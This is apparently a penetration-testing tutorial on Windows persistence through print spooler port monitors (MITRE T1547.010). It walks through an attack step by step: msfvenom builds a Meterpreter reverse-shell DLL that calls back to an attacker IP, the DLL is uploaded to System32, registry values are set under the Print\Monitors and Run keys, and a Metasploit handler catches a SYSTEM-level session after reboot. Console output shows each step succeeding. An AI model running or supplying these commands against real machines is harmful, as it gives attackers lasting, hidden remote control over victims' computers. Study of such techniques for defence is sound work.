

WINDOWS



PERSISTENCE PORT MONITOR



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Introduction

The article "**Windows Persistence using Port Monitors**" explores a lesser-known but effective technique for maintaining unauthorized access on a compromised Windows system. Typically, systems use Port Monitors for printer-related tasks. However, attackers take advantage of them by loading malicious DLLs during system startup. As a result, they enable stealthy persistence. This method helps adversaries blend into normal system operations. In addition, it allows them to maintain access even after reboots.

Moreover, the article provides a practical walkthrough. It explains how this persistence mechanism functions. It also details how attackers can leverage it during post-exploitation scenarios.

Adversaries use port monitors to run attacker-supplied DLLs during system boot to achieve persistence or escalate privileges. They configure a port monitor using the `AddMonitor` API call, which sets a DLL to load at startup. Attackers place this DLL in `C:\Windows\System32`, and the print spooler service, `spoolsv.exe`, loads it when the system boots. Moreover, the `spoolsv.exe` process runs with `SYSTEM`-level permissions, which gives the attacker high-level access.

Mitre ID: T1547.010

Sub-technique of: [T1547](#)

Let's Check and try to perform this attack

Generate DLL Payload

In order to launch dll persistence attack, you need to execute the following command which will generate a malicious dll payload.

```
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.112 lport=4444 -f dll > raj.dll
```

```
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.112 lport=4444 -f dll > raj.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes
root@kali:~#
```



Inject DLL Payload

Now, inject the malicious DLL file into the victim's machine inside the **/system32** directory using your Meterpreter session with administrative privileges. Afterward, execute the following command to modify the registry for printer driver installation.

```
upload /root/raj.dll .
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run\\ -v ignite -d
'C:\\Windows\\System32\\netsh'
shell
reg add "hkml\\system\\currentcontrolset\\control\\print\\monitors\\ignite" /v "Driver" /d "raj.dll" /t REG_SZ
```

As you can see in the given below image that we have successfully changed the registry key.

```
meterpreter > cd System32
meterpreter > upload /root/raj.dll .
[*] uploading : /root/raj.dll → .
[*] uploaded  : /root/raj.dll → .\\raj.dll
meterpreter > shell
Process 7940 created.
Channel 2 created.
Microsoft Windows [Version 10.0.18362.53]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\\Windows\\system32>reg add "hkml\\system\\currentcontrolset\\control\\print\\monitors\\ignite" /v "Driver" /d "raj.dll" /t REG_SZ
reg add "hkml\\system\\currentcontrolset\\control\\print\\monitors\\ignite" /v "Driver" /d "raj.dll" /t REG_SZ
The operation completed successfully.
```

Maintain Access

Now, in future when the attack will launch the listener for obtaining a reverse connection. So, as soon as the victim's machine get reboots the .dll file get active and the attacker will get meterpreter session due to Monitor DLLs that are loaded by spoolsv.exe for DLLs.

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.112
lhost => 192.168.1.112
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.112:4444
[*] Sending stage (206403 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.112:4444 → 192.168.1.105:49680) at 2020-04-14

meterpreter > sysinfo
Computer      : DESKTOP-RGP209L
OS           : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter > █
```

Follow this [Link](#) to know more on Windows Persistence.

Reference: <https://attack.mitre.org/techniques/T1547/010/>



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